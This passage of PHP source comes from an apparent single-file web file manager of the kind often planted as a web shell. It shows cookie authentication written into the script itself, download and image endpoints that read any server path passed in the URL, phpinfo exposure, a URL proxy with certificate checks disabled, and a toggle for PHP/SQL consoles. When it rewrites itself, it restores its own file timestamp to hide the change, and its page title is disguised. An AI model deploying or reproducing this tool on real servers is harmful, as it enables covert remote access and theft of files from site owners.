2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6